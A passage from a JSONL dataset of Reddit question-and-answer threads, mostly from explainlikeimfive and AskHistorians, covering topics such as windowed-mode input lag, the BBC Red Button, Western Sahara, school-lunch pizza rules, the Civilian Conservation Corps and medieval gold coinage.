requirements that make base 2 best, but think of the practical side of things.\nMany ideas in simple logic are either True or False. Or Boolean. To write a computer program in a base 3 or base 10 system would be mind boggling and impractical.", "Did you mean base of 2? If so I think it's because base of 2 allows for every integer possible when you add them up. Ie 2^0 is 1. 2^1 is 2. 2^2 is 4. So if you want an asci value of say 5, you can go like this: 1 0 1  in binary\n\nIf you went in bases of 10, it wouldn't allow for that\n\nSomeone correct me if I'm wrong"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Harwell_computer", "https://en.wikipedia.org/wiki/Dekatron"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9uqutd", "title": "why does windows create input lag when not in fullscreen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9uqutd/eli5_why_does_windows_create_input_lag_when_not/", "answers": {"a_id": ["e96p0u7", "e96snii"], "score": [2, 3], "text": ["Some applications are optimized for rendering video at full resolution. For them to show video in a smaller window, it has to down-convert the video which requires a little math. Some applications are better at this math than others and so some will lag a little bit.  ", "The full answer to this is pretty complicated, but in simple terms, it's because in fullscreen your PC has less to do. When a game (or any other application) renders in fullscreen, it essentially \"owns\" the display. 100% of your computer's graphics power can go to it. When you're in a windowed mode, your computer is still generating the desktop \"behind\" the game, even if you can't actually see it, such as in a windowed borderless mode. That means there's not as much processing power available for the game, so you might get lag and FPS drops. If your PC has enough power to handle it, though, windowed mode can be nice because it lets you seamlessly minimize the game to do other stuff if you want. Sometimes that can cause all sorts of glitchy behavior in fullscreen applications.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ygq3r", "title": "people of briton, what is the mysterious \"red button\" of which i keep hearing in bbc clips on youtube?", "selftext": "In clips on YouTube, announcers for the BBC will sometimes invite the audience to \"push the red button now\" at the start of a program.  It seems that some sort of interactive content is being offered but that is just my best guess.  How does the \"red button\" work?  Does every television have one?  Does it cost extra?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ygq3r/eli5_people_of_briton_what_is_the_mysterious_red/", "answers": {"a_id": ["cp9c780", "cp9dalt", "cp9dt8n", "cp9dy9f"], "score": [7, 2, 4, 3], "text": ["[It's a BBC interactive program for ~~smart~~ digital TVs that allows interactivity in the otherwise passive TV medium.](_URL_0_)  It doesn't cost extra, but it's not available on all TVs.\n\ne: BBC Red Button is available on all digital TVs, BBC **Connected** Red Button is available on some smart TVs", "It allows access to extra content that is sort of hidden. During the Olympics for instance you could watch a different event that was going on at the same time as the one being broadcast on the main channel. ", "On digital tv you have your BBC channels which are channels 101, 102 etc. There are some other channels that are hidden (usually 301,302 etc.) if you press the red button (literally a red button on your remote) it launches a computer mashup of the hidden channels with descriptive text and pictures so you can choose to watch alternative content e.g. During a formula 1 race you might get the opportunity to watch the camera on one of the cars or a  celebrity doing commentary etc. It really is not very exciting at all. ", "I don't know if these buttons are ubiquitous on TV remotes from other countries, but TV remotes in the UK almost all come with the [red green yellow and blue buttons](_URL_1_) on them, originally called Fast Text buttons, for use on the [Teletext](_URL_0_) service. \n\nIf you look at any screenshots of teletext as it appeared [later on](_URL_2_) you'll notice there are coloured shortcuts at the bottom. That's what those buttons were for. The Red Button came about as a natural extension of that functionality when digital TV came along in the UK."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bbc.co.uk/corporate2/insidethebbc/whatwedo/redbutton"], [], [], ["http://en.wikipedia.org/wiki/Teletext", "http://googletechsuppliers.com/module/uploads/2014/08/tv-remote1.jpg", "http://upload.wikimedia.org/wikipedia/commons/thumb/4/4d/Teletext_level1_0_lebel2_5.jpg/1280px-Teletext_level1_0_lebel2_5.jpg"]]}
{"q_id": "3c6g0j", "title": "why _url_0_ remains down?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3c6g0j/eli5_why_voatco_remains_down/", "answers": {"a_id": ["csso99k"], "score": [12], "text": ["They are a small start-up run by two guys out of their dorm room. They didn't have the money or server capacity to support thousands of people simultaneously trying to join their site. They didn't plan in advance for this sort of mass migration.\n\nAnd why would they? The only way that people would migrate that quickly is if the CEO and chairman of a competing site pissed off their entire user base. What are the chances of that happening? No one could be that stupid. Right?"]}, "title_urls": ["Voat.co"], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1n77zb", "title": "Quantum mechanics and gene mutations", "selftext": "I am reading Schrodinger's book: \"What is life?\" and he mentions that mutations in the genes could be due to \"quantum jumps\" in the states of the molecules (and DNA). But this sounds a bit weird and vague to me.\nIs there any microscopic explanation for gene mutations?\nI'm a PhD in Physics (in electronic transport), but my knowledge in biology is just a bit above high school level.\n\nEdit: Thanks for the answers!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1n77zb/quantum_mechanics_and_gene_mutations/", "answers": {"a_id": ["ccg0iv0", "ccg1rip", "ccg4emv", "ccgepj1"], "score": [16, 15, 2, 2], "text": ["The molecular mechanism leading to mutations are relatively well understood. They involve organic chemistry and to the extent that all chemistry involves QM I suppose they probably involve QM; however, in my mind there is nothing particularly quantum mechanical about them.\n\nProton swapping, spontaneous hydrolysis, absorption of UV light, torsional stress, oxidative damage etc. Basically DNA is damaged by some chemical process, then the cell fails to recognize this damage in a timely manner and eventually the forensic evidence of the damage to the DNA is lost and the cell can no longer repair the damage. These are all chemical processes that, except for the calculation of rates, can be understood classically.", "Hi, I'm a Molecular Biology PhD student and while the question of quantum mechanics' relevant details in the process of mutagenesis is an interesting one, there is a slight disconnect.  That DNA is source of hereditary material wasn't truly cannon until the Hershey-CHase experiment reported in 1952.  Schroedinger's book was published in 1944.  While at that time there was evidence that DNA was the source of genetic hereditary it wasn't accepted as cannon.  It's likely that since it was unknown what the hereditary material was, Schroedinger was hypothesizing that uncertainty would contribute to formation of mutations.  It is totally logical in the historical context.\n\nedited for grammar", "The book Quantum Aspects of Life (with an intro written by Penrose) may be of interest to you... particularly Dr. Anita Goel's chapter, \"Molecular Evolution: A Role for Quantum Mechanics in the Dynamics of Molecular Machines that Read and Write DNA\"\n\n[Here's a link to that chapter.](_URL_0_) The gist is that QM might enable modifications to DNA based on environmental factors.", "I would say it's entirely possible but in the realm of mutagens I would gander that DNA is rather resistant to quantum disruption. Macro disruptors that completely overwhelm your cellular machinery (i.e. damage the DNA over and over and the mechanisms that attempt to repair and rectify damaged sequences) have a much more drastic and immediate effect. To go along with complete and constant disruption of nucleotides and/or repair proteins/enzymes I do see it being possible from the quantum side, just less frequent than macro disruption. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://books.google.com/books?id=oJbkH1jnkqcC&amp;lpg=PR21&amp;ots=RvsuRpjlFM&amp;dq=Molecular%20Evolution%3A%20A%20Role%20for%20Quantum%20Mechanics%20in%20the%20Dynamics%20of%20Molecular%20Machines%20that%20Read%20and%20Write%20DNA%22&amp;pg=PA97#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "3xksgf", "title": "how much of an actors involvment in a movie or series is scripted and how much is left for their own improvisation?", "selftext": "I watched walking dead when this question hit me. how much of how the character is moving and using his eyebrows and expressions is scripted and how much does the producers leave it to the character to do on their own, or do they let them do any actingn on their own?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xksgf/eli5_how_much_of_an_actors_involvment_in_a_movie/", "answers": {"a_id": ["cy5goii", "cy5gy3x", "cy5gyk8", "cy5gym5", "cy5hj1i", "cy5hk3s"], "score": [3, 3, 9, 3, 2, 5], "text": ["It depends upon both the actor and director. A famous example is the scene in \"East of Eden\" where James Dean went off script and hugged Raymond Massey. Massey was from the school that stuck to the script, while director Elia Kazan encouraged Dean's improvisational skills. This ticked off Massey, which was precisely the relationship Kazan wanted. Of course, it forced Massey to improvise in reaction, something he didn't like doing, but it came out as one of if not the most memorable scene of the movie. ", " >  how much of how the character is moving and using his eyebrows and expressions is scripted\n\nNext to none, unless it is something significant. The script is mostly just dialogue, with the intonations and facial expressions left up to the actors and director.", "It depends on the script, the director, the actor, and the project. \n\nSome people are sticklers for the script - you usually don't hire Aaron Sorkin to write your script if you intend for your actors to ad-lib their lines.  If you're doing Shakespeare, you don't try to improve on what he wrote.\n\nOn the other hand, if you hired Robin Williams or Jim Carrey for a role, you certainly expect them to go off-script and would be disappointed if they didn't.", "This is entirely up to the actor and the director. You can have a comedy like Tropic Thunder where RDJ and Stiller did that \"Im a dude playing....\" scene for like 10 minutes getting many takes and barely following the script's dialogue (there was a video of it, but it got taken down). Also, any time you have CC turned on and the dialogue is slightly different, that's because the actor didn't say exactly what was on the script, and the director didn't think it mattered enough to re-shot it.", "*Veep* is made by the same team behind *The Thick Of It*, and what they did was: the first take is strictly to the script, the second take is looser, and the third and subsequent takes can be improvised. This makes sure they have coverage of the script, but can also take advantage of any good improvised moments. \n\nWith *Veep* there's also improv in rehearsal, and the results can end up in the shooting script. They also made casting decisions with improv in mind, such as Matt Walsh, who was in the Upright Citizens Brigade with Amy Poehler  &  Ed Helms. ", " >  how much of how the character is moving and using his eyebrows and expressions is scripted\n\nI once interviewed a director of stage plays about this. He explained it this way: if he's got an angry crowd scene and he says, \"Okay, you make *this* face, you make *that* face, you snarl, you fold your arms...\" then the actors will follow his directions, but the result will look really unnatural. If, on the other hand, he just says, \"Okay everyone, you all hate this duke and you're angry about what he's saying,\" then he gets thirty different versions of angry and the whole thing looks much more realistic.\n\nIt depends on the director and the actors, but generally speaking you won't normally get directions like, \"Raise your right eyebrow quizzically, then stroke your chin,\" but more like, \"This news intrigues you.\"\n\nSometimes, though, it's a bit more complicated, especially if you have a crowd of people playing zombies or any other kind of monster. Then the crew might include a choreographer to develop a style of movement for those characters. Are these old-fashioned zombies that blindly lurch and stagger around, or more modern ones that are fast and intelligent? If zombies are animated corpses, are they decaying? If so, how does that affect the way they move? A choreographer would have to know what the director wants and the whole back story of the creature, and then develop and teach the correct gait. It's important that all the actors have the same style of movement.\n\nOne such person is Ailsa Berk, an actress and dancer who has worked as a choreographer on *Doctor Who*. [Here's a tutorial by her on how to walk like a Cyberman](_URL_1_), which gives some insight into the thought process that went behind developing the choreography (the video is for young children, but it's still quite informative). And [here's a behind-the-scenes video of her working with actors and training them to move about in their cumbersome costumes](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.bbc.co.uk/programmes/p00hwldp", "https://www.youtube.com/watch?v=0HVp5krbOGQ"]]}
{"q_id": "ki8da", "title": "why is there never any sort of data for the western sahara region of africa?", "selftext": "Whenever you look at a map, you'll always see something like \"No data available\" for the thing they're trying to show you. For example: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ki8da/why_is_there_never_any_sort_of_data_for_the/", "answers": {"a_id": ["c2kgvrt", "c2kgvrt"], "score": [8, 8], "text": ["It is a disputed territory, and one of the most sparsely populated areas in the world...it has no effective central government.\n\nIt used to be a colony of Spain, but Spain had a lot of troubles in the 1970s, and basically dumped it, putting it under joint control of its neighbors, Morocco and Mauritania.  They fought a war over it, and at the same time, Western Sahara declared independence, backed by its other neighbor, Algeria.  Mauritania bowed out, and Morocco and independence fighters (SADR) fought on.  Morocco eventually used giant sand berms fence off 2/3rds of the territory, effectively containing SADR.\n\nThey agreed to a cease fire in 1991, allowing for a referendum to decide what should happen.  However, neither side can agree to who is allowed to vote in the referendum, and have been at a stalemate ever since.\n\nBTW, you can see those [sand berms](_URL_0_) in Google Maps. ", "It is a disputed territory, and one of the most sparsely populated areas in the world...it has no effective central government.\n\nIt used to be a colony of Spain, but Spain had a lot of troubles in the 1970s, and basically dumped it, putting it under joint control of its neighbors, Morocco and Mauritania.  They fought a war over it, and at the same time, Western Sahara declared independence, backed by its other neighbor, Algeria.  Mauritania bowed out, and Morocco and independence fighters (SADR) fought on.  Morocco eventually used giant sand berms fence off 2/3rds of the territory, effectively containing SADR.\n\nThey agreed to a cease fire in 1991, allowing for a referendum to decide what should happen.  However, neither side can agree to who is allowed to vote in the referendum, and have been at a stalemate ever since.\n\nBTW, you can see those [sand berms](_URL_0_) in Google Maps. "]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/7/7c/Water_quality.jpg"], "answers_urls": [["http://maps.google.com/?t=h&amp;ie=UTF8&amp;om=1&amp;ll=21.363511,-16.93476&amp;spn=0.003727,0.005246"], ["http://maps.google.com/?t=h&amp;ie=UTF8&amp;om=1&amp;ll=21.363511,-16.93476&amp;spn=0.003727,0.005246"]]}
{"q_id": "9t92iu", "title": "why do bowel movements start biggest and then get smaller?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9t92iu/eli5_why_do_bowel_movements_start_biggest_and/", "answers": {"a_id": ["e8ug0x1"], "score": [5], "text": ["Why when you open the spigot on a water tank does the water rush out fastest at the beginning and then slower and slower?\n\nSame reason. \n\nYour intestines are a long bendy pipe that moves things along through muscle contractions.  So it pushes the poop all the way to the exit and piles up more behind it.  When you go to the bathroom all the stuff near the exit slides on out and your intestines begin the process of pushing all the rest of the poo along the path.  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cbwgro", "title": "how does henna work? it\u2019s on your skin for less than half an hour, how does the color stay for weeks?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cbwgro/eli5_how_does_henna_work_its_on_your_skin_for/", "answers": {"a_id": ["etipovx"], "score": [8], "text": ["It's a dye and binds to proteins in the top layers of the skin, staying until the skin is shed. It's not particularly different than any other staining dye, and is left on long enough to pass deeper than just the top of the epidermis which is quickly shed so that is it more persistent. It is unlike a tattoo which pushes ink deeper than the epidermis into the dermis, which is not constantly shed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "mfpx5", "title": "was pizza actually declared a vegetable or is reddit having another inside joke?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mfpx5/eli5_was_pizza_actually_declared_a_vegetable_or/", "answers": {"a_id": ["c30j4cu", "c30jbxp", "c30jejb", "c30jf4f", "c30jszs", "c30k0xs", "c30k3kz", "c30k3x9", "c30kmhj", "c30kv7u", "c30j4cu", "c30jbxp", "c30jejb", "c30jf4f", "c30jszs", "c30k0xs", "c30k3kz", "c30k3x9", "c30kmhj", "c30kv7u"], "score": [64, 27, 38, 3, 2, 2, 2, 5, 3, 2, 64, 27, 38, 3, 2, 2, 2, 5, 3, 2], "text": ["eh, it's really the media that is calling pizza a vegetable.  The argument is being brought up with regards to a bill related to public school lunches, and the government's mandate on what they can/must serve..  The real argument is stating that the tomato sauce/paste within the pizza is considered a vegetable, thus eating a serving of pizza contains a serving of vegetable (along with others) and thus covers the veggie portion of the meals...\n\nfirst article i found on it: _URL_0_", "All this has happened before, and all of it will happen again.\n\n[From 30 Years Ago](_URL_0_)", "Waffles were declared carrots", "No, it's a fruit.", "See also: [ketchup as a vegetable](_URL_0_)", "Need to change that subreddit to RandomActsofVegetables ", "It's a bit of an over generalization the truth is that a slice of pizza in a cafeteria line at school is _considered_ a serving of vegetables. despite the tomato sauce being just boiled down, sugared and salted tomato juice with no fiber.", "In the 80's the Reagan government changed school nutrition guidelines so ketchup would count as a vegetable, thus saving millions of dollars from the budget at the expense of little kids. I believe clinton reversed this but not 100% sure on that.\n\nWhat happened yesterday was similar - the govt changed the school nutrition rules so that a certain amount of tomato sauce (or maybe paste) would count as a vegetable so schools could serve cheap pizza instead of actual vegetables, saving money at the expense of kids.\n\nwhile the \"pizza = vegetable\" story is funny and sad and absurd and thus makes a great news story, this kind of stuff happens every day but is more obscure. it might just be one inscrutable line in a budgetary item that revokes an earlier rule or it might be reassigning people in an agency so there is nobody left to enforce a regulation but it's very common. ", "Fritos are now cucumbers.  ", "Apologies, Razkuba \u2013\u00a0but this is really a question for r/askreddit or r/answers.  There's nothing about this that needs to be explained LI5.", "eh, it's really the media that is calling pizza a vegetable.  The argument is being brought up with regards to a bill related to public school lunches, and the government's mandate on what they can/must serve..  The real argument is stating that the tomato sauce/paste within the pizza is considered a vegetable, thus eating a serving of pizza contains a serving of vegetable (along with others) and thus covers the veggie portion of the meals...\n\nfirst article i found on it: _URL_0_", "All this has happened before, and all of it will happen again.\n\n[From 30 Years Ago](_URL_0_)", "Waffles were declared carrots", "No, it's a fruit.", "See also: [ketchup as a vegetable](_URL_0_)", "Need to change that subreddit to RandomActsofVegetables ", "It's a bit of an over generalization the truth is that a slice of pizza in a cafeteria line at school is _considered_ a serving of vegetables. despite the tomato sauce being just boiled down, sugared and salted tomato juice with no fiber.", "In the 80's the Reagan government changed school nutrition guidelines so ketchup would count as a vegetable, thus saving millions of dollars from the budget at the expense of little kids. I believe clinton reversed this but not 100% sure on that.\n\nWhat happened yesterday was similar - the govt changed the school nutrition rules so that a certain amount of tomato sauce (or maybe paste) would count as a vegetable so schools could serve cheap pizza instead of actual vegetables, saving money at the expense of kids.\n\nwhile the \"pizza = vegetable\" story is funny and sad and absurd and thus makes a great news story, this kind of stuff happens every day but is more obscure. it might just be one inscrutable line in a budgetary item that revokes an earlier rule or it might be reassigning people in an agency so there is nobody left to enforce a regulation but it's very common. ", "Fritos are now cucumbers.  ", "Apologies, Razkuba \u2013\u00a0but this is really a question for r/askreddit or r/answers.  There's nothing about this that needs to be explained LI5."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://today.msnbc.msn.com/id/45306416/ns/today-today_health/t/pizza-vegetable-congress-says-yes/"], ["http://en.wikipedia.org/wiki/Ketchup_as_a_vegetable"], [], [], ["http://en.wikipedia.org/wiki/Ketchup_as_a_vegetable"], [], [], [], [], [], ["http://today.msnbc.msn.com/id/45306416/ns/today-today_health/t/pizza-vegetable-congress-says-yes/"], ["http://en.wikipedia.org/wiki/Ketchup_as_a_vegetable"], [], [], ["http://en.wikipedia.org/wiki/Ketchup_as_a_vegetable"], [], [], [], [], []]}
{"q_id": "3ewizn", "title": "what is photonics and what are it's applications?", "selftext": "My city just landed a half a billion dollar government photonics center. We're all pretty amped about the economic implications but it seems nobody can really explain why we should be psyched about Photonics in general and what the future holds for the science. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3ewizn/eli5_what_is_photonics_and_what_are_its/", "answers": {"a_id": ["ctj1rh0"], "score": [3], "text": ["Photonics is the study of visible and non-visible light (Photonics - photograph - photon).  There are countless applications for this.  In medicine, you can have all sorts of medical testing and imaging, as well as laser surgery.  Getting the internet to your house involves optical fibers and sending laser pulses.  LED and OLED televisions/displays are light emitting diodes.  Blu-ray players involving shining laser light onto microscopic pits on a disc.  Anything to do with imaging - as simple as a camera, but can be more complicated like a satellite or a telescope, maybe even sensors on a self-driving car.  \n\nWhat does the future hold?  Off the top of my head, laser-based atomic clocks offer the potential to be much more accurate than current atomic clocks - which could significantly prove our GPS system which relies on atomic clocks.  The DOD is highly interested in laser weapons.  As well as improvements on things I mentioned earlier (medical imaging, LED's for televisions, etc.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bdeo02", "title": "i always hear people say things like \"i asked my lawyer\" or \"my lawyer is looking into it\". where are people getting these pocket lawyers? how do they afford them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bdeo02/eli5_i_always_hear_people_say_things_like_i_asked/", "answers": {"a_id": ["ekxle74", "ekxljwc", "ekxmudy", "ekxnnjk", "ekxr4q2"], "score": [5, 24, 7, 4, 5], "text": ["For someone \"my lawyer\" is short for \"my cousin that is a lawyer\". And it works just as if you know your way around computers - you end up supporting all the problems of your family, sort of pro bono.", "The term is retainer. This is where a person pays a fee on a regular basis, and in return the attorney answers and performs activities for the client whenever needed. This price changes from attorney to attorney.  For example my personal attorney charges $1000 USD a year for retainer services.", "Most people that say that are not telling the truth.  I did need a legal opinion on my house, cost me about $200, but that money is protecting a $200,000 asset.", "You can have a consultation with a lawyer for a hundred bucks around here. It's useful if you need a brief contract review or advice on a dispute. They can lay out your options according to the law and it can be a very productive meeting.\n\nSome people may mean \"my lawyer\" as in \"my lawyer on retainer\", others might just mean \"that lawyer I met with\".", "A lot of those are people who have retained lawyers for ongoing legal battles. Some legal sites let you email unlimited questions to lawyers for a monthly fee. This is what some small-business owners do. You can also find lawyers willing to do paperwork for relativity cheap."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2qmin0", "title": "patent us4686605", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qmin0/eli5_patent_us4686605/", "answers": {"a_id": ["cn7gfgu", "cn7ipyi", "cn7iyle"], "score": [13, 2, 2], "text": ["After a brief read, it's all about charged particles and Ions existing in the atmosphere. Apparently loose electrons and charged ions get caught in the field lines of the magnetic poles (think magnetic lines that curve around the Earth and meet at either magnetic pole). What this patent is, is for the process of shooting beams of charged ions and electrons into the atmosphere to try to get them to stay up, primarily it seems in the Magnetosphere.\n\nFor what purpose though, it doesn't mention that I saw. For science, I suppose.\n\nEdit: After revisiting, it seems they're using this to mimic effects of things like a nuclear bomb being set off, and how the radioactive particles from the fallout might get caught in the atmosphere and stay there and cause damage, or end up In other parts of the world.", "Nothing really interesting about this patent (which is now expired, by the way).\n\nBasically the patent claims a method for changing the electromagnetic properties of a portion of the atmosphere by using a directed energy beam of a given frequency.  The background asserts that this generates a plasma burst which may have useful applications (e.g., disrupting satellite communications).  ", "What song is citing obscure patents? Kind of weird that you left that out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "10mgkj", "title": "What were the impacts of the Civilian Conservation Corps in your state or area? (Or in your family, if a relative served?)", "selftext": "So, this will probably have a rather niche audience. I'm interested in learning more about the influence of the Civilian Conservation Corps in regions across the U.S. I know the broad national impacts, and the impacts within Texas, but not many localized impacts. \n\nFor those of you unfamiliar with the CCC, I'll try and give you an overview. \n\nThe CCC was established as part of the New Deal in 1933. Administered by the army, but strictly a civilian organization, the CCC was known as Roosevelt's \"Forest Army.\" The CCC recruited young men, most of which were living in poverty or on welfare, to go across the country and work for at least 6 months replanting forests, building parks, and creating erosion control measures. The men earned 30 dollars a month, with 25 dollars going straight back to their families. The men signed on for 6 months with the option to renew. They were almost always sent far away from home. While in the CCC, they learned valuable trade skills and were able to take correspondence college courses, or learn from the local experienced men hired to supervise them. The CCC camps provided jobs for the boys, but also for local communities. There was an economic benefit at nearly every level. \n\nIn Texas, prior to the CCC there were no state parks. The State Parks Board existed but didn't have the funding or authority to establish parks. Following the CCC's work in the state from 33-41, 30 state parks were established and constructed. Without the CCC there would most likely have not been state parks in Texas for several years or decades. The CCC also replanted many forests in Texas, leading to the establishment of our National Forests, and restoring ecosystems that had been clear cut and nearly destroyed by the timber industry. East Texas forests are now abundant but drastically different than prior to timber cutting. \n\nSo historians, did the CCC operate in your state, region or town? What did they do? Did they help or hinder the local community? Are your state parks or other protected areas part of the CCC legacy? How do you feel about Roosevelt's use of federal money to employ young men and get them to work while helping conserve our forests and resources? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10mgkj/what_were_the_impacts_of_the_civilian/", "answers": {"a_id": ["c6esjby", "c6esv23", "c6eupqu", "c6eusx8", "c6evx8m", "c6eyzw7", "c6f24l1"], "score": [2, 6, 2, 2, 2, 2, 2], "text": ["IANAH, but I grew up in an area (Southern Illinois, and Union County specifically) that still has many remnants of the CCC's impact.\n\nCCC crews worked at Trail of Tears State Park, Union State Tree Nursery, Shawnee National Forest (fire lookout towers, trails, picnic areas, etc.) and more.  Lodge buildings at Giant City State Park (near Carbondale, IL) and Pere Marquette State Park (near Alton, IL) were built by the CCC too.  I can't speak to the economic impact.\n\nI believe there was a book about Giant City and the CCC published a few years back.  A friend of my husband's family was a CCC worker and he was interviewed for the book.", "My maternal grandfather served in the CCC. He was from Chicago and went to work to provide money for his first wife and parents. He traveled all over the country building roads and tunnels. I know he was a part of the group near Big Bear Mountain in California. \n\nHe even created this epic photo-book of a lot of his friends and the places he went. \n\nI know it had a very positive effect on his family as it was the only way he could send them money for food and rent. I'm not sure what would have happened if he did not have that opportunity. ", "I'm pretty sure the football stadium at my university (Toledo) was originally a CCC or WPA project. Parts of the zoo might be too. \n\nETA CCC not CCW. Bit of a difference there.", "[Devil's Den State Park](_URL_0_) outside Fayetteville, AR was built by the CCC, including a road, a manmade lake, and many trails and buildings.  IIRC there's an exhibit there about the CCC involvement.\n\nColeman Stadium, Camden, AR was also built by the CCC.  It was used as a high school football stadium from the 1930s until the 1990s, and is still used today by the adjacent school and for some community events.  I would guess it seats around 2,500.", "I can't recall if it was the CCC or one of the related agencies, but I live near Yosemite a good part of the year. Lots of trails and roads were built back then, including one of the very few roads over the Sierras.\n\nIt is kind of scary hiking along some of those trails, though, as their notion of safety was quite different back in the day... iron railings three feet high, cliffs with some cables to hold onto as you run along the drop.\n\nThe worst part is that we basically haven't done anything like it in the 70 years since then. We've got a ton of construction workers on the dole... I think we should employ them into upgrading the roads and trails in our national parks.", "My wife, son, and I vacationed in a cabin built by the CCC in Table Rock Park, SC. Last month. It obviously has weathered the years quite well; the literature from the park mentioned that it had been remodeled inside, but the beams and foundation were original. ", "Here in Washington state. Buildings, fire lookouts, roads, trails, camps, fire pits, tables, bridges, many many things built to last. \n\nSome of their work is truly impressive. Not just trails, more like awe inspiring works of art. A ton of time, effort, and love went into building this stuff. \n\nNot to get too much into the politics of it, but I think it would be better getting welfare recipients out there working in similar programs today, rather than just collecting checks. Of course in those days we were a nation of dreamers, builders, and thinkers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Devil%27s_Den_State_Park"], [], [], []]}
{"q_id": "f81alp", "title": "In stories about medieval times, we hear that a peasant would never be able to earn enough to get a gold piece. How accurate was this? And what could/should a lowly peasant buy with their income of coppers (and silvers?)", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f81alp/in_stories_about_medieval_times_we_hear_that_a/", "answers": {"a_id": ["finn1y4"], "score": [10], "text": ["Let's start from the observation that although the prevalence of gold coins in fantasy is pretty ubiquitous, with the 'gold piece' being a basic monetary unit that sometimes is divided into 'silver pieces' and then 'copper pieces', most often than not using a decimal system that is very modern invention (just to drive the point home, it has been only adopted in United Kingdom as late as 1976) this hardly reflects the realities of the medieval European currency. The purchase power of the medieval population was also very different from the one observed today due to differences in self-reliance across social classes and present economic mechanisms.\n\nFirst and foremost, it should be noted that the gold as a currency has generally not been used throughout most of the Middle Ages in Europe. It doesn't mean that it hasn't been used for trade, as it had the estimated value to evaluate the objects made of this metal, but it was simply not used to make coins. This only changed in early 13th century with the augustalis introduced in 1232 on the order of the Emperor Frederic II being one of the first if not the first officially used golden coin, clearly inspired by Byzantine hyperpyron or Sicilian tari. Even then, they were not widely used and have been initially minted only in Brindisi and Messina. Golden currency slowly started to gain popularity only few decades later, with the introduction of the florin issued in Florence in 1252 and zecchino introduced in Venice in 1284. Popularity of gold coins surged in 14th century after the discovery of rich gold deposits in Hungary (Kremnica mine) that later proved to be the largest source of this metal in continental Europe, estimated at five times larger than those of Bohemia and Silesian duchies (contemporary leaders of continental gold production) combined.\n\nThe golden coins minted since 14th century Europe more or less emulated the florin, leading to a rough uniformity among the golden coins used in circulation. The original florin and zecchino weighed about 3.5 g (55 gr) and were of high purity, usually reaching 995 (99.5% pure gold) and this was reflected in other medieval golden coins that followed suit (including the 7 g double florin issued by Edward III in 1344). There were, of course, differences, such as the Dutch Gouden Leeuwen (Golden Lions) minted since 1361 that had a weight of 4.25 g, while the late-14th century golden coins in Burgundy weighed between 4 and 4.2 grams. Thus, we can assume that a prototypical 'gold coin' would mean 3.5 g of gold. \n\nHow much purchase power would it mean? Well, this is very tricky question, as the actual gold-silver ratio, purity of coins and last but not least, the prices themselves could have varied quite significantly between decades not to mention centuries, but given that this is a highly generalized question with no territorial and chronological frame, an equally generalized response can be provided.\n\nWhen first issued in late 13th century, florin was made equal to a pound of silver that was divided into 20 solids or 240 denars, following the ancient Roman system reintroduced during Carolingian Renaissance and quite prevalent across Europe, with the last vestige of it being the aforementioned pre-decimal British monetary system. Given that the Florentine pound (*lira*) was more or less equal to its ancient equivalent (*libra*) equal to 327 grams of silver \\[gAg\\], it means that it could have been divided into 240 denars containing 1.3 gAg or 20 solidi containing 15.6 gAg.\n\nIn the beginning of the 14th century a silver coin commonly used in Central Europe was a Prague grosh that at the moment of introduction by Vaclav II around the year 1300 was equal to 3.5 gAg, although later in undergone quick devaluation and in the beginning of 15th it contained only around 2 gAg. Now, if we compare the value of the coin to the common prices from the early 14th century expressed in Prague groshes, we can see that the price of an ox averaged to 30 groshes (105 gAg), a ram or pig - 8 groshes (28 gAg), a horse could commanded a price of 100-200 groshes (350-700 gAg) depending on its quality, a well-made large cart could have commanded a price of 2-3 marks (400-600 gAg) and a lan of land (ger. Lahn) equal to 40 acres of 16 ha was valued at 192 groshes (672 gAg) in one of the contemporary documents from early 13th century Silesia, with other land prices in this time and area roughly following suit.\n\nThis said, a comparison of wealth across various economic mechanisms is not as easy as one could imagine. The main problem is the fact that said mechanisms meant that the distribution and usage of currency could have been vastly different. For example, in modern capitalism, virtually all goods and services are exchanged for money and people, especially in urban settings, are completely not self-reliant. In rural areas where feudal relations was the norm, the 